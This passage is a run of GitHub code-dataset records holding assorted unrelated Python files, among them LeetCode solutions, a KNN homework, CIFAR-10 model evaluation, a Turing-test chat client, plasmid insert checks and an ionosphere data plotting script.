info is not None:\n return self.get_info_ytdl_data(info)\n if force_offline_only: return None\n return self.get_info_yt()\n\n def get_info_yt(self):\n ytdl_data = ytdl.ytd.extract_info(self.url(), download=False)\n return self.get_info_ytdl_data(ytdl_data)\n \n def get_info_ytdl_data(self, ytdl_data):\n if musicache is not None:\n musicache[f\"{self.key}\"] = ytdl_data\n self.info = SongInfo.load(ytdl_data)\n if self.artist_name is None: self.artist_name = self.info.artist_names[0]\n if self.title is None: self.title = self.info.titles[0]\n if self.key is None: self.key = self.info.key\n return self.info\n","repo_name":"thrombe/musimanager","sub_path":"src/song.py","file_name":"song.py","file_ext":"py","file_size_in_byte":9858,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"6417860434","text":"class Solution:\n def setZeroes(self, matrix: List[List[int]]) -> None:\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n m = len(matrix)\n n = len(matrix[0])\n flag = False\n for j in range(n):\n if matrix[0][j]==0:\n flag = True\n for i in range(1,m):\n if matrix[i][j]==0:\n matrix[0][j]=0\n matrix[i][0]=0\n for j in range(1,n):\n for i in range(1,m):\n if matrix[0][j]==0 or matrix[i][0]==0:\n matrix[i][j]=0\n if matrix[0][0] == 0:\n for i in range(m):\n matrix[i][0] = 0\n if flag==True:\n for j in range(n):\n matrix[0][j] = 0\n","repo_name":"alexrusev03/LeetCode-Problems","sub_path":"Python/73. Set Matrix Zeroes.py3","file_name":"73. Set Matrix Zeroes.py3","file_ext":"py3","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74383650482","text":"import pandas as pd\nimport numpy as np\nimport imageio\nfrom skimage.transform import resize\nfrom skimage.color import rgb2gray\n\ndef read_data(prefix_images='', prefix_annotations=''):\n\n base_images_path = f'data/retail_product/{prefix_images}train_val_images.pkl'\n base_annotations_path = f'data/retail_product/{prefix_annotations}train_val_annotations.pkl'\n\n train_val_images = pd.read_pickle(base_images_path)\n train_val_annotations = pd.read_pickle(base_annotations_path)\n\n return train_val_images, train_val_annotations\n\ndef resize_images(df_images, size): # Assumes image sizes are regular\n\n new_df_images = df_images.copy()\n\n base_path_name = 'data/retail_product/sampled_images/{id}_{source}.jpg'\n\n new_df_images['new_file_name'] = 'data/retail_product/sampled_images/' + new_df_images['id'].astype(str) + '_' + new_df_images['source'] + '.jpg'\n\n for i, values in new_df_images[['file_name', 'new_file_name', 'id', 'source']].iterrows():\n\n img = imageio.imread(values['file_name'])\n\n new_img = resize(img, (size, size), preserve_range=True).astype(np.uint8)\n\n new_img_path = base_path_name.format(id=values['id'], source=values['source'])\n\n imageio.imwrite(values['new_file_name'], new_img)\n\n new_df_images['new_width'] = size\n new_df_images['new_height'] = size\n new_df_images['width_ratio'] = size/new_df_images['width']\n new_df_images['height_ratio'] = size/new_df_images['height']\n\n new_df_images.drop(columns=['file_name', 'width', 'height'], inplace=True)\n new_df_images.rename(columns={'new_file_name': 'file_name', 'new_width': 'width', 'new_height': 'height'}, inplace=True)\n\n new_df_images['n_pixels'] = size**2\n\n return new_df_images\n\ndef to_gray(df_images):\n\n new_df_images = df_images.copy()\n new_df_images['new_file_name'] = 'data/retail_product/sampled_images/gray_' + new_df_images['id'].astype(str) + '_' + new_df_images['source'] + '.jpg'\n\n for i, values in new_df_images[['file_name', 'new_file_name', 'id', 'source']].iterrows():\n\n img = imageio.imread(values['file_name'])\n\n gray_img = (rgb2gray(img)*255).astype(np.uint8) # Multypling by 255 since the function rescales the image to 0-1 scale\n\n imageio.imwrite(values['new_file_name'], gray_img)\n \n new_df_images.drop(columns=['file_name'], inplace=True)\n new_df_images.rename(columns={'new_file_name': 'file_name'}, inplace=True)\n\n return new_df_images","repo_name":"LuizGG/bounding-box-estimator","sub_path":"funcs/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21785951413","text":"from __future__ import division, print_function\n\nfrom typing import List, Callable\n\nimport numpy as np\nimport scipy\nimport sklearn\n\n\n############################################################################\n# DO NOT MODIFY ABOVE CODES\n############################################################################\n\nclass KNN:\n\n def __init__(self, k: int, distance_function):\n self.k = k\n self.distance_function = distance_function\n \n self.x_train = np.zeros((10,10))\n self.y_train = np.zeros((10,))\n self.nb_trainpoints = 0\n\n def train(self, features: List[List[float]], labels: List[int]):\n # just store the features \n # features shape: (no.samples,no.features) is 2-D\n # labels shape: (no.samples,) is 1-D \n # self.y_train is 1-D array shape:(np.trainpoints,)\n self.nb_trainpoints = len(labels)\n np_x = np.array(features)\n np_y = np.array(labels)\n self.x_train = np_x\n self.y_train = np_y\n \n \n # raise NotImplementedError\n\n def predict(self, features: List[List[float]]) -> List[int]:\n # features shape: (no.samples,no.features) is 2-D\n pred_x = np.array(features)\n nb_testpoints = pred_x.shape[0]\n nb_features = pred_x.shape[1]\n \n # for each test point, calculate its distance to all training points\n # x_test shape: (no.features,) is 1-D\n # x_tr shape: (no.features,) is 1-D\n # dis is a list:length is no.trainpoints\n y_test = []\n for i in range(0,nb_testpoints):\n x_test = pred_x[i]\n dis = []\n for j in range(0,self.nb_trainpoints):\n x_tr = self.x_train[j]\n one_dis = self.distance_function(x_test.tolist(),x_tr.tolist())\n dis.append(one_dis)\n \n # find indices of k-smallest elements in distance array \n # idx is 1-D array, index start from 0\n # k_idx stores indices of k nearest neighbors\n # knn_labels stores labels of k nearest neightbor\n idx = np.argpartition(np.array(dis),self.k)\n k_idx = idx[:self.k]\n knn_labels = self.y_train[k_idx]\n mode,count = scipy.stats.mode(knn_labels)\n # mode is an 1-D array only contain one element\n # mode.tolist() is an int\n one_label = mode.tolist()\n y_test.extend(one_label)\n \n return y_test\n \n \n #raise NotImplementedError\n\n\nif __name__ == '__main__':\n print(np.__version__)\n print(scipy.__version__)\n print(sklearn.__version__)\n","repo_name":"qiny9492/ML-Algorithms","sub_path":"Assignment-1/hw1_knn.py","file_name":"hw1_knn.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69969430324","text":"from gmm import scoring\n\n\n# scores file to write\nscores_file = 'scores-cqcc-asvspoof21-LA.txt'\n\n# configs\nfeatures = 'cqcc'\ndict_file = 'gmm_cqcc_asvspoof21_la.pkl'\n\ndb_folder = '/home/sinhnta/ASV/Dataset/ASVspoof2021_LA_eval/' # put your database root path here\neval_folder = db_folder + 'flac/'\neval_ndx = db_folder + 'ASVspoof2021.LA.cm.eval.trl.txt'\n\naudio_ext = '.flac'\n\n# run on ASVspoof 2021 evaluation set\nscoring(scores_file=scores_file, dict_file=dict_file, features=features,\n eval_ndx=eval_ndx, eval_folder=eval_folder, audio_ext=audio_ext,\n features_cached=True)\n","repo_name":"sinhnguyen-sunny/Reproduce-ASVSpoofing-LA-2021-Baselines","sub_path":"LA/Baseline-CQCC-GMM/python/gmm_scoring_asvspoof21.py","file_name":"gmm_scoring_asvspoof21.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4616383655","text":"import os\r\n#os.environ['CUDA_DEVICE_ORDER'] = 'PCI_BUS_ID'\r\n#os.environ['CUDA_VISIBLE_DEVICES'] = '2'\r\nimport torch\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom matplotlib import pyplot as plt\r\n\r\nfrom p33_training_classification import evaluate\r\nfrom p37_cifar10_alexnet8 import AlexNet8\r\nfrom p39_cifar10_vgg16 import VGG16\r\nfrom p41_cifar10_InceptionV1_tiny import InceptionV1tiny\r\nfrom p43_cifar10_resnet18 import ResNet18\r\n\r\n\r\ndef load_pretrained_model(name):\r\n if name=='AlexNet':\r\n model = AlexNet8(10)\r\n if os.path.exists('./checkpoint/AlexNet8_cifar10.pth'):\r\n print('------------load the model----------------')\r\n model.load_state_dict(torch.load('./checkpoint/AlexNet8_cifar10.pth'))\r\n elif name=='VGG':\r\n model = VGG16(10)\r\n if os.path.exists('./checkpoint/VGG16_cifar10.pth'):\r\n print('------------load the model----------------')\r\n model.load_state_dict(torch.load('./checkpoint/VGG16_cifar10.pth'))\r\n elif name=='Inception':\r\n model = InceptionV1tiny(10)\r\n if os.path.exists('./checkpoint/InceptionV1tiny_cifar10.pth'):\r\n print('------------load the model----------------')\r\n model.load_state_dict(torch.load('./checkpoint/InceptionV1tiny_cifar10.pth'))\r\n else:\r\n model = ResNet18(10)\r\n if os.path.exists('./checkpoint/ResNet18_cifar10.pth'):\r\n print('------------load the model----------------')\r\n model.load_state_dict(torch.load('./checkpoint/ResNet18_cifar10.pth'))\r\n return model\r\n\r\n\r\ncifar10 = tf.keras.datasets.cifar10\r\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\r\nx_train, x_test = x_train / 255.0, x_test / 255.0\r\ny_train, y_test = y_train.squeeze(), y_test.squeeze()\r\n\r\ncategories = ('airplane','automobile','bird','cat','deer',\r\n 'dog','frog','horse','ship','truck')\r\nnp.set_printoptions(precision=2)\r\n\r\nx,y = [],[] #application\r\nsample = np.random.randint(0,x_train.shape[0],size=10).tolist()\r\nfor i in sample:\r\n x.append(x_train[i])\r\n y.append(categories[y_train[i]])\r\nimages = x.copy()\r\nx = torch.FloatTensor(np.array(x)).permute([0,3,1,2])\r\n\r\ny_train = torch.LongTensor(y_train).squeeze()\r\ny_test = torch.LongTensor(y_test).squeeze()\r\nx_train = torch.FloatTensor(x_train).permute([0,3,1,2])\r\nx_test = torch.FloatTensor(x_test).permute([0,3,1,2])\r\nprint(\"x_train.shape:\", x_train.shape)\r\nprint(\"y_train.shape:\", y_train.shape)\r\nprint(\"x_test.shape:\", x_test.shape)\r\nprint(\"y_test.shape:\", y_test.shape)\r\n\r\n\r\nmodel = load_pretrained_model('VGG')\r\nprint(torch.cuda.is_available())\r\nif torch.cuda.is_available():\r\n print('GPU detected! Loading the model to CUDA...')\r\nprint('number of GPU: ',torch.cuda.device_count())\r\n#if torch.cuda.device_count()>1: # the first device id = cuda:id\r\n# model = torch.nn.DataParallel(model,device_ids=[0,1,2,3]) # default:using all\r\ngpu_device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\r\nmodel.to(gpu_device)\r\nmodel.eval()\r\n\r\n\r\n# evaluate the pre-trained model\r\naccuracy_train = evaluate(model,x_train.cuda(),y_train.cuda())\r\naccuracy_test = evaluate(model,x_test.cuda(),y_test.cuda())\r\nprint('Training_accuracy = %.4f, Validation_accuracy = %.4f'%\\\r\n (accuracy_train,accuracy_test))\r\n\r\n\r\n# application\r\nprint(x.shape)\r\nwith torch.no_grad():\r\n pred = model(x.cuda())\r\npred = torch.argmax(pred,dim=1)\r\nfor k in range(10):\r\n print(y[k],categories[pred[k]])\r\n plt.subplot(2,5,k+1)\r\n plt.title(categories[pred[k]])\r\n plt.imshow(images[k], cmap='gray')\r\nplt.show()\r\n","repo_name":"RenlangHuang/TensorFlow-Pytorch-Basics","sub_path":"Pytorch_lecture3_cnn/p38_cifar10_model_app.py","file_name":"p38_cifar10_model_app.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"29454113832","text":"#!/usr/bin/python3\n\"\"\" subclass Square of the class rectangle\"\"\"\nRectangle = __import__('9-rectangle').Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"\n Square - inheritance form rectangle\n \"\"\"\n\n def __init__(self, size):\n \"\"\"\n Initializes a new square.\n Args:\n size (int): The size of the new square.\n \"\"\"\n\n self.integer_validator(\"size\", size)\n super().__init__(size, size)\n self.__size = size\n","repo_name":"kelvinkioi/alx-higher_level_programming","sub_path":"0x0A-python-inheritance/10-square.py","file_name":"10-square.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34225237860","text":"from config import *\nfrom helper import chat_tag, info_message, get_header, get_chat_line_separator\nfrom http.client import HTTPConnection\nimport socket\nimport time\nimport sys\n\n\ndef connect_to_tester():\n \"\"\"\n Connect to the tester\n\n Returns:\n HTTPConnection: A connection to the tester\n \"\"\"\n\n while True:\n try:\n # Get the host\n host = input(\n \"Please provide the IP of the host (input nothing for localhost): \").strip()\n if not host:\n host = \"localhost\"\n port = input(\"Port to host on (nothing for {}): \".format(PORT))\n if not port:\n port = PORT\n\n # Connect\n print(info_message(\"Connecting to tester...\"))\n connection = HTTPConnection(host, port)\n\n # Inform the tester about the connection\n connection.request('POST', ROUTE_CONNECT_INFO,\n socket.gethostbyname(socket.gethostname()))\n print(info_message(connection.getresponse().read().decode()))\n break\n except socket.gaierror:\n print(info_message(\"Invalid host '{}'\".format(host)))\n\n return connection\n\n\nclass Subject:\n def __init__(self):\n \"\"\"\n The Subject of the test.\n \"\"\"\n\n self.connection = None\n\n # State of game\n self.n_questions_left = None\n self.points = None\n self.n_rounds = None\n\n # Commands\n self.commands = {\n \"--help\": self._display_help,\n \"--questionsleft\": self._display_questions_left,\n \"--score\": self._display_score,\n \"--guess\": self._make_guess,\n \"--quit\": self._quit\n }\n\n def _execute_command(self, command):\n \"\"\"\n Execute the given command. Any message starting with double dashes (--) will be considered a command.\n\n Args:\n command (str): The command to be parsed\n\n Returns:\n bool: True if the command was '--guess', else False.\n \"\"\"\n\n if command == '--guess':\n if self.n_questions_left == MAX_QUESTIONS:\n print(info_message(\n \"You need to ask at least one question before making a guess.\"))\n return False\n else:\n return True\n if command in self.commands:\n self.commands[command]()\n else:\n print(info_message(\"Invalid command '{}'\".format(command)))\n return False\n\n def _start_new_game(self):\n \"\"\"\n Start a new game.\n \"\"\"\n\n self.n_rounds = 0\n self.points = 0\n\n def _start_new_round(self):\n \"\"\"\n Start a new round.\n \"\"\"\n\n self.n_questions_left = MAX_QUESTIONS\n self.n_rounds += 1\n print(info_message(\"Starting new round. Waiting for confirmation from tester...\"))\n self.connection.request('POST', ROUTE_NEW_ROUND, \"\")\n print(info_message(self._receive_message()))\n\n def _receive_message(self):\n \"\"\"\n Receive message from the tester.\n\n Returns:\n str: The message from the tester.\n \"\"\"\n\n return self.connection.getresponse().read().decode()\n\n def _send_chat_message(self, message):\n \"\"\"\n Send a chat message to the tester\n\n Args:\n message:\n \"\"\"\n\n self.connection.request('POST', ROUTE_INBOX, message)\n\n def _display_help(self):\n \"\"\"\n Display help for the game.\n \"\"\"\n\n print(get_header())\n print(\"\\n Welcome to the Turing Test.\")\n print(\"\\nRules:\"\n \"\\n- The goal of this game is to guess whether the person you are talking with is a bot or not\"\n \"\\n- Each round you have {} questions available to figure out what your conversation partner is\"\n \"\\n- The fewer questions you use - the more points, but only if you guess correctly\"\n \"\\n- When you are ready to guess, or have used all your questions, write '--guess' in the chat\"\n \"\\n- Your points will be computed as: (n_correct * %questions_left_in_round * 100)/n_rounds\".format(MAX_QUESTIONS))\n print(\"\\nThe following commands are available during the game:\")\n for k, v in self.commands.items():\n print(\"{:<20}{}\".format(k, v.__doc__.strip()))\n print(\"\\nNote: All text starting with double dashes (--) will be treated as commands.\"\n \"\\nAll other text will be treated as messages.\\n\")\n\n def _update_points(self):\n \"\"\"\n Add points. Should only be done for correct guesses\n \"\"\"\n\n self.points += 100 * (self.n_questions_left + 1) / MAX_QUESTIONS\n\n def _compute_score(self):\n \"\"\"\n Compute the score based on the points, and number of rounds played.\n \"\"\"\n\n return self.points / self.n_rounds\n\n def _make_guess(self):\n \"\"\"\n Guess whether the tester is a bot or a human.\n \"\"\"\n\n guess_tester_type = input(\n \"What do you think the tester is ({}/{}): \".format(TESTER_BOT, TESTER_HUMAN))\n while guess_tester_type not in [TESTER_HUMAN, TESTER_BOT]:\n guess_tester_type = input(\"{} is not a valid tester type, select either {} or {}: \".format(\n guess_tester_type, TESTER_BOT, TESTER_HUMAN))\n\n print(info_message(\n \"You guessed {}. Waiting for response...\".format(guess_tester_type)))\n self.connection.request('POST', ROUTE_CHECK_GUESS, guess_tester_type)\n result = self._receive_message()\n\n time.sleep(1)\n if result == GUESS_CORRECT:\n print(info_message(\"Your guess was correct!\"))\n self._update_points()\n else:\n print(info_message(\"Your guess was wrong...\"))\n self._display_score()\n\n def _display_questions_left(self):\n \"\"\"\n Display the number of questions left in the current round.\n \"\"\"\n\n print(info_message(\"Number of questions left in this round: \" +\n str(self.n_questions_left)))\n\n def _display_score(self):\n \"\"\"\n Display the current points for the game.\n \"\"\"\n\n print(info_message(\n \"Current score: {:.2f}\".format(self._compute_score())))\n\n def _quit(self):\n \"\"\"\n End the game.\n \"\"\"\n\n print(info_message(\"Game ended\"))\n sys.exit(0)\n\n def run(self):\n \"\"\"\n Run the test.\n \"\"\"\n self.connection = connect_to_tester()\n\n # Start new game\n while True:\n self._start_new_game()\n self._display_help()\n # Start new round\n while True:\n self._start_new_round()\n print(get_chat_line_separator())\n while self.n_questions_left > 0:\n # Read message\n message = input(chat_tag(DISPLAY_NAME_YOU))\n\n # Check if the message is a command\n if message[:2] == \"--\":\n command_was_guess = self._execute_command(message)\n if command_was_guess:\n break\n print(get_chat_line_separator())\n # Else, send the message to the tester\n else:\n self._send_chat_message(message)\n print(chat_tag(DISPLAY_NAME_OTHER) +\n self._receive_message())\n print(get_chat_line_separator())\n self.n_questions_left -= 1\n if self.n_questions_left == 0:\n print(info_message(\n \"No questions left. Yoy now need to make a guess.\"))\n self._make_guess()\n print(get_chat_line_separator())\n if 'y' not in input(\"Start new round (y/N): \"):\n break\n\n print(info_message(\"Game ended. Your final score is: {:.2f} out of 100.0\".format(\n self._compute_score())))\n self.connection.request('POST', ROUTE_ENDED_GAME, \"\")\n self._receive_message()\n if 'y' not in input(\"Start new game (y/N): \"):\n break\n\n\nif __name__ == '__main__':\n subject = Subject()\n subject.run()\n","repo_name":"peterts/turing-test-v2","sub_path":"subject.py","file_name":"subject.py","file_ext":"py","file_size_in_byte":8372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27401356070","text":"from typing import List\n\ndef letter_combination(n: int) -> List[str]:\n\n def dfs(index,path):\n if index == n:\n res.append(''.join(path))\n return \n\n for letter in ['a','b']:\n path.append(letter)\n dfs(index+1, path)\n path.pop()\n res = []\n\n dfs(0, [])\n\n return res","repo_name":"shreekarSS/leetcode_solutions","sub_path":"Backtracking/Combinatorial_get_n-letter_words.py","file_name":"Combinatorial_get_n-letter_words.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"6159878756","text":"import base64\n\nsymbol_to_name = {\n '+': 'SYMpl',\n '-': 'SYMmn',\n '*': 'SYMas',\n '!': 'SYMbg',\n '#': 'SYMpd',\n '$': 'SYMdl',\n '.': 'SYMdt',\n '=': 'SYMeq',\n \"'\": 'SYMpr',\n \"%\": 'SYMpc',\n \"|\": 'SYMpp',\n \"~\": 'SYMtl',\n \":\": 'SYMcn',\n \"&\": 'SYMam',\n \"/\": 'SYMsl',\n \"\\\\\": 'SYMbs',\n \"<\": 'SYMlt',\n \">\": 'SYMgt',\n \"@\": 'SYMat',\n \"?\": 'SYMqm',\n '^': 'SYMht'\n}\n\nname_to_symbol = {\n \"SYMpl\": \"+\",\n \"SYMmn\": \"-\",\n \"SYMas\": \"*\",\n \"SYMbg\": \"!\",\n \"SYMpd\": \"#\",\n \"SYMdl\": \"$\",\n \"SYMdt\": \".\",\n \"SYMeq\": \"=\",\n \"SYMpr\": \"'\",\n \"SYMpc\": \"%\",\n \"SYMpp\": \"|\",\n \"SYMtl\": \"~\",\n \"SYMcn\": \":\",\n \"SYMam\": \"&\",\n \"SYMsl\": \"/\",\n \"SYMbs\": \"\\\\\",\n \"SYMlt\": \"<\",\n \"SYMgt\": \">\",\n \"SYMat\": \"@\",\n 'SYMqm': '?',\n 'SYMht': '^'\n\n}\n\n\ndef encode_char(char: str) -> str:\n if char == '_':\n return char\n elif char.isalnum():\n return char\n elif char in \"+-*!#$.='%|~:&/\\<>@?^\":\n return symbol_to_name[char]\n else:\n raise ValueError(f\"Symbol {char} is not allowed\")\n\n\ndef encode(text: str) -> str:\n return ''.join([encode_char(c) for c in text])\n\ndef de_module(name: str) -> str:\n if name.startswith('_hsmd_'):\n return name.split('_hsmd_')[-1]\n else:\n return name\ndef de_location(name: str) -> str:\n parts = name.split('_')\n if len(parts) < 3:\n return name\n else:\n return '_'.join(name.split('_')[:-2])\n\ndef decode(text: str) -> str:\n input = text\n output = ''\n while len(input) != 0:\n if len(input) >= 5 and input.startswith('SYM'):\n output = output + name_to_symbol[input[:5]]\n input = input[5:]\n else:\n output = output + input[0]\n input = input[1:]\n return output\n\n\ndef str_to_b64 (input : str) -> str:\n return base64.b64encode(input.encode()).decode('utf-8')\n\ndef b64_to_str (input: str) -> str:\n return base64.b64decode(input.encode()).decode('utf-8')\n\nif __name__ == '__main__':\n print(\n decode(encode('uuvsj<*?>xyz')) == 'uuvsj<*?>xyz',\n )\n","repo_name":"maybetonyfu/lof","sub_path":"src/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73088979442","text":"# Final check for all complete insert sequences\nfrom pathlib import Path\nimport pandas as pd\nfrom Bio.Restriction import *\nfrom pydna.genbankrecord import GenbankRecord\nfrom pydna.readers import read\nfrom Bio import SeqIO\n\n# helper functions\n\n\ndef read_genbank_file(filepath):\n return GenbankRecord(read(str(filepath)))\n\n\ndef read_fasta_records(filepath):\n return SeqIO.parse(filepath)\n\n\ndef get_feature_by_name(record, name):\n # pull a feature out of a record using its name\n # if not present return -1. Send all names to\n # lower case first so check is not case sensitive\n features = [record.extract_feature(i)\n for i in range(len(record.features))\n ]\n name_dict = {f.name.lower(): f for f in features}\n if name.lower() in name_dict:\n return name_dict[name]\n else:\n return -1\n\n\ndef no_cutters_as_string_set(record):\n return set([str(s) for s in set(record.no_cutters())])\n\n\ndef one_cutters_as_string_set(record):\n return set([str(s) for s in set(record.once_cutters())])\n\ndef calculate_content(record, nuc_a, nuc_b):\n a_count = str(record.seq).count(nuc_a)\n b_count = str(record.seq).count(nuc_b)\n return (a_count + b_count) / len(record)\n\ndef calculate_skew(record, nuc_a, nuc_b):\n a_count = str(record.seq).lower().count(nuc_a.lower())\n b_count = str(record.seq).lower().count(nuc_b.lower())\n \n return (a_count - b_count) / (a_count + b_count)\n\n# checks\n\n\ndef check_insert_for_sequence(insert_record, seq_record):\n assert insert_record.seq.find(str(seq_record.seq)) != -1\n\n\ndef check_homology_arms(insert_record, homology_arm, source_backbone):\n assert insert_record.seq.find(str(homology_arm.seq)) != -1\n #assert source_backbone.seq.find(str(homology_arm.seq)) != -1\n # removed check because 5' arm now as SacI site followed by\n # kpnI site that is not present in the og backbone \n\ndef check_homology_arms_for_required_cutter(homology_arm, cutter):\n assert cutter in one_cutters_as_string_set(homology_arm)\n\ndef check_variable_region_gc_skew(vr_record, attr_dict):\n gc_skew = calculate_skew(vr_record, 'G', 'C')\n gc_skew_expected = float(attr_dict['gc_skew'])\n assert abs(gc_skew - gc_skew_expected) < 0.03\n\ndef check_variable_region_gc_content(vr_record, attr_dict):\n gc_content = calculate_content(vr_record, 'G', 'C')\n gc_content_expected = float(attr_dict['gc_content'])\n assert abs(gc_content - gc_content_expected) < 0.03\n\ndef write_passed_stamp(insert_record, output_path):\n with open(str(output_path), 'w') as handle:\n handle.write(insert_record.seguid())\n\n\ndef main():\n\n # read all snakemake input stuff\n anchor_record = read_genbank_file(snakemake.input['anchor_seq'])\n insert_record = read_genbank_file(snakemake.input['insert_record'])\n five_prime_arm = read_genbank_file(snakemake.input['five_prime_arm'])\n three_prime_arm = read_genbank_file(snakemake.input['three_prime_arm'])\n homology_target_backbone = read_genbank_file(\n snakemake.input['homology_target'])\n attr_dict = snakemake.params['attributes'].to_dict(orient='records')\n assert len(attr_dict) == 1\n attr_dict = attr_dict[0]\n print(attr_dict)\n # check insert to make sure contains expected sequences\n check_insert_for_sequence(insert_record, anchor_record)\n check_insert_for_sequence(insert_record, three_prime_arm)\n check_insert_for_sequence(insert_record, five_prime_arm)\n\n # check the homology arms to make sure they are actually homologous\n check_homology_arms(insert_record, five_prime_arm,\n homology_target_backbone)\n check_homology_arms(insert_record, five_prime_arm,\n homology_target_backbone)\n \n check_homology_arms_for_required_cutter(five_prime_arm, 'KpnI')\n check_homology_arms_for_required_cutter(five_prime_arm, 'SacI')\n check_homology_arms_for_required_cutter(three_prime_arm, 'EcoRI')\n\n vr_record = get_feature_by_name(insert_record, 'variable_region')\n check_variable_region_gc_content(vr_record, attr_dict)\n check_variable_region_gc_skew(vr_record, attr_dict)\n\n write_passed_stamp(insert_record, snakemake.output)\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"EthanHolleman/plasmid-VR-design","sub_path":"scripts/verify_inserts.py","file_name":"verify_inserts.py","file_ext":"py","file_size_in_byte":4225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74651346802","text":"def stair(data):\n # 리스트의 길이를 n에 저장합니다.\n n = len(data)\n dp = [0 for i in range(n)]\n #dp는 밟은 점수의 합을 저장\n #1번계단만 있을때는 1번의 값이 정보\n dp[0] = data[0]\n #2번계단까지 있으면, 1,2번의 다 밟아야 이득\n dp[1] = data[0] + data[1]\n #3번 계단까지 있으면\n #1번밟고 3번계단 밟거나, 2번,3번 다 밟거나 중 최대값 \n dp[2] = max(data[0]+data[2], data[1]+data[2])\n\n #강사님 코드 -> 맨뒤에 dp[1] 틀림\n # dp[2] = max(dp[0] + data[2], dp[1])\n\n \n for i in range(3, n):\n # 두번째 안밟는 경우와 바로 전 안밟는 경우\n dp[i] = max(dp[i - 3] + data[i - 1], dp[i - 2]) + data[i]\n \n return dp[-1]\n\n\ndef main():\n data = [int(x) for x in input().split()]\n print(stair(data))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"bellepoque7/2023-data-science-edu","sub_path":"1. 개발 알고리즘/03-05 동적계획법/엘리스 줄세우기.py","file_name":"엘리스 줄세우기.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25772224900","text":"\"\"\"\nPlots the IRI data set\nUse %reset -f to clear the python workspace.\nData File Invoked: iono_data_Svalbard_2014_Feb1 & iono_data_Svalbard_2020_Feb1\nRun as:\n\"\"\"\nfile_name1 = 'iono_data_Svalbard_2014_Feb1.txt'\nfile_name2 = 'iono_data_Svalbard_2020_Feb1.txt'\npath = './'\n# --------------------- Comments --------------------------------------------\n# Path to the data directory is ../iri_dataset/\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nimport numpy as np\nimport os.path\nimport matplotlib as mp\nfrom os.path import join as pjoin\nimport matplotlib.pyplot as plt\n\nif os.path.exists(pjoin(path, file_name1)):\n x1,Ne1,Tn1,Ti1,Te1 = np.loadtxt(pjoin(path,file_name1), unpack=True)\nelse:\n print('No Data')\n exit()\n\nif os.path.exists(pjoin(path, file_name2)):\n x2,Ne2,Tn2,Ti2,Te2 = np.loadtxt(pjoin(path,file_name2), unpack=True)\nelse:\n print('No Data')\n exit()\n\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nfigsize = np.array([200,200/1.618]) #Figure size in mm (FOR SINGLE FIGURE)\ndpi = 1200 #Print resolution\nppi = np.sqrt(1920**2+1200**2)/20 #Screen resolution\n\nmp.rc('text', usetex=False)\nmp.rc('font', family='sans-serif', size=10, serif='Computer Modern Roman')\nmp.rc('axes', titlesize=10)\nmp.rc('axes', labelsize=10)\nmp.rc('xtick', labelsize=10)\nmp.rc('ytick', labelsize=10)\nmp.rc('legend', fontsize=10)\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nfig, (ax1,ax2) = plt.subplots(1, 2, figsize=figsize/25, constrained_layout=True, dpi=ppi)\n\nax1.plot(x1,Ne1, label='$N_{e}, 2014$')\nax1.plot(x1,Ne2, label='$N_{e}, 2020$')\nax1.set_xlabel('$x$ (km)')\nax1.set_ylabel('$N_{e}(m^{-3})$')\nax1.legend(loc='upper right',framealpha=0.5)\nax1.grid(True)\n\nax2.plot(x1,Te1, label='$T_{e}, 2014$')\nax2.plot(x1,Te2, label='$T_{e}, 2020$')\nax2.set_xlabel('$x$ (km)')\nax2.set_ylabel('$T_{e} (K)$')\nax2.legend(loc='upper left',framealpha=0.5)\nax2.grid(True)\n\n\"\"\"\nfig, ax = plt.subplots(1, 2, figsize=figsize/20, constrained_layout=False, dpi=ppi)\nax[0][0].plot(x1,Ne1, label='$N_{e}, 2014$')\nax[0][0].plot(x1,Ne2, label='$N_{e}, 2020$')\nax[0][0].set_xlabel('$x$ (km)')\nax[0][0].set_ylabel('$N_{e}(m^{-3})$')\nax[0][0].legend(loc='upper right',framealpha=0.5)\nax[0][0].grid(True)\n\nax[0][1].plot(x1,Te1, label='$T_{e}, 2014$')\nax[0][1].plot(x1,Te2, label='$T_{e}, 2020$')\nax[0][1].set_xlabel('$x$ (km)')\nax[0][1].set_ylabel('$T_{e} (K)$')\nax[0][1].legend(loc='upper left',framealpha=0.5)\nax[0][1].grid(True)\n\nax[1][0].plot(x1,Ti1, label='$T_{i}, 2014$')\nax[1][0].plot(x1,Ti2, label='$T_{i}, 2020$')\nax[1][0].set_xlabel('$X$ 